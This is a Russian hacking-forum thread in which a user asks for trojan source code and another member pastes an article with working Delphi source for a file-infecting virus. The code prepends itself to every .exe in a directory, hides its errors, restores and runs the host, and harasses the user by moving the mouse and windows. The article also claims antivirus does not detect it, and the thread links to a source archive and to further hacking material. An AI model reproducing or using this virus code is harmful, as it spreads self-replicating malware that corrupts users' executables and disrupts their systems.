Люди дайте пожалуста исходник самого отстойного вируса

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by OmNiPoTeNcE, 30 Sep 2006.

  1. OmNiPoTeNcE

    OmNiPoTeNcE New Member

    Joined:
    27 Jun 2006
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Дате пожалуста исходник самого отстойного трояна на Дэльфи...оч надо! :(
     
  2. Utochka

    Utochka Elder - Старейшина

    Joined:
    21 Dec 2005
    Messages:
    495
    Likes Received:
    106
    Reputations:
    54
    вот получите

    Code:
    Итак, моя новая статья посвящена вирмэйкерству в особо извращенной форме. Посещая множество форумов и сайтов по сетевой безопасности и программированию, я столкнулся с мнением, что написать компактный и хоть сколько-нибудь опасный вирус на дельфи нельзя…
    
     Что же, я развею этот миф, более того на глазах у изумленной публики создам виря размером 23.40 Кб, который будет полноценно размножаться и мешать работе системы.
    
     Итак, наши инструменты:
    
     Борланд Дельфи 7.0 Enterprise Edition 
    UPX PE packer  
    Прямые руки :) 
    
     
    Для начала определимся, чего мы хотим. А хотим мы создать вирус, для этого надо знать принципы их размножения и поражения жертвы. Вдаваться в терминологию не буду, т.к. за меня это было прекрасно написано в одном из выпусков «Хакер-Спец». Поэтому перейдем к делу. Наша зверушка будет размножаться в пределах одного каталога (кто обладает п.3 из набора инструментов тот доработает этот недочет, нам же нужно сделать тест не расплодив вирь по всему компу) и дописывать себя в начало файла. Сам процесс работы до ужаса банален:
    
     1. Запускаем вирус.
    2. Происходит проверка, на запуск тела вируса или зараженной программы.
    3. Если запущенно тело вируса, то переходим к заражению.
    4. У нас запущена зараженная прога, ура! Распакуем прогу из хвоста файла, задав ей имя от балды и ждем когда юзверь закончит с ней работать. 
    5. Пока юзверь работает мешаем ему как можем.
    6. Бедный пользователь ПК сдался, ему надоели глюки и он закрыл прогу, затираем созданный файл (тот, который мы распаковали) и продолжаем инфицировать своих соседей по каталогу.
    7. Выходим из программы.
    
     Вот собственно и все, что мой вирус может, а теперь реализация. Для начала пишем скелет программы:
    
     program zverofil;
    uses sysutils,windows;
    const virsize=23040;
    var victims:tsearchrec;
    f1,f2:file;
    
     begin
    end;
    
     Вот с чего мы начинаем, к сожалению мне не удалось выкинуть Sysutils , иначе размер бы ужался до 13Кб.  Процедура заражения выглядит вот так:
    
     procedure infect(victim:string);
    var
    a:integer;
    
     Buf: array[1..virsize] of byte;
    nr,nw:longint;
    begin
    try
    randomize;
    assignfile(f1,victim);
    a:=random(200);
    rename(f1,'bad'+inttostr(a)) ;
    filemode :=0;
    assignfile(f2,paramstr(0));
    reset(f2,1) ;
    seek(f2,0);
    blockread(f2,buf,virsize);
    filemode:=2 ;
    closefile(f2);
    assignfile(f1,victim);
    rewrite(f1,1);
    blockwrite(f1,buf,virsize);
    assignfile(f2,'bad'+inttostr(a));
    reset(f2,1);
    seek(f2,0);
    repeat
    BlockRead(f2, Buf,virsize, NR);
    BlockWrite(f1, Buf, NR, NW);
    until (NR = 0) or (NW <> NR);
    closefile(f1);
    closefile(f2);
    deletefile(pchar('bad'+inttostr(a)))
    except
    end;
    end;
    
     Except`ы добавлены из соображения секретности, если вирус наткнется на файл, не дающий добро на запись, он тихо и мирно выйдет из процедуры. Иначе пользователя побеспокоит сообщение “File I/O Error” , а нам это ни к чему.
    
     Далее определяем, есть ли у нас «хвост» или запущенная программа – тело вируса в чистом виде:
    
     filemode :=0;
    assignfile(f1,paramstr(0));
    reset(f1,1);
    if filesize(f1)>virsize then go;
    closefile(f1);
    filemode :=2;
    
     Filemode временно переводит программу в ReadOnly, иначе она не даст нам посчитать размер файла и выдаст ошибку.
    
     Поиск и заражение жертв реализуется так:
    
     if FindFirst('*.exe', Faanyfile, victims) = 0 then
    repeat
    if not ((victims.Name)=extractfilename(paramstr(0))) then begin
    if not ((victims.Name)=extractfilename(extractfilename(paramstr(0)))) then infect(victims.Name);
    
     end;
    until FindNext(victims)<>0 ;
    
     Такой странный код из за того, что зараженный файл распадается на «зараженный.ехе» и «незараженный.ехе.ехе» на время запуска, чтобы не попытаться заразить только что запущенную программу, которая к тому же ушла в Read Only и  нужно проводить такую проверку. 
    
     Ну и код выполнения самой зараженной проги будет таким:
    
     procedure go;
    label 10;
    var
    Buf: array[1..virsize] of byte;
    rect:trect;
    nr,nw:longint;
    begin
    ////
    try
    filemode :=0;
    assignfile(f1,paramstr(0));
    reset(f1,1);
    filemode :=2;
    assignfile(f2,paramstr(0)+'.exe');
    
     
    rewrite(f2,1);
    seek(f1,virsize);
    seek(f2,0) ;
    repeat
    filemode :=0;
    BlockRead(f1, Buf,virsize, NR);
    filemode :=2;
    BlockWrite(f2, Buf, NR, NW);
    until (NR = 0) or (NW <> NR) ;
    closefile(f1);
    closefile(f2);
    
     winexec(pchar(paramstr(0)+ '.exe'), SW_show);
    10:
    
     if not deletefile(pchar(paramstr(0)+'.exe')) then begin ;
    setcursorpos(random(800),Random(600));
    getwindowrect(GetForeGroundWindow,rect);
    setwindowpos(GetForeGroundWindow, HWND_TOPMOST,rect.left+1,rect.top+1, rect.left+45,rect.left+45, SWP_NOSENDCHANGING );
    setwindowtext(GetForeGroundWindow, 'Antiviruses SUXX! (c)Zerofill');
    
     sleep(400);
    goto 10;
    end;
    
     except
    end;
    ////
    end;
    
     Прошу обратить внимание на последнюю секцию – глумление над пользователем, который работает с зараженной прогой. Мы просто берем и дергаем мышку, а окно самой нужной программы уезжает влево и вниз. Для извращенцев – можете поменять параметр sleep;
    
     Вот собственно и все, надеюсь у вас созрели определенные мысли и идеи по прочтению этой статьи. Напоследок скажу, что этот зверь не виден антивирусами несмотря на то, что я еще в июне отсылал его с исходниками в «Лабараторию Касперского», правда в моем исполнении это был уже почтовый червь (52Кб).
    
    
    http://www.xakep.ru/post/23374/virus_source.rar
     
  3. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    Вот тут, может, чего интересное найдёшь:
    _http://www.realcoding.net/article/rubric/Delphi/DELPHI_hack
     
  4. BlackDog

    BlackDog Elder - Старейшина

    Joined:
    5 Jul 2006
    Messages:
    53
    Likes Received:
    19
    Reputations:
    -8
    Мне бы такую-же статью на C++ builder... Эх... Может поможет кто-нить?
     
  5. WEB'er

    WEB'er Member

    Joined:
    26 Jun 2006
    Messages:
    15
    Likes Received:
    5
    Reputations:
    0
    BlackDog
    В журнале "хакер" давным давно была такая статья ... Либо конец 2003 либо начало 2004 года .. не помню .. Подними архив =)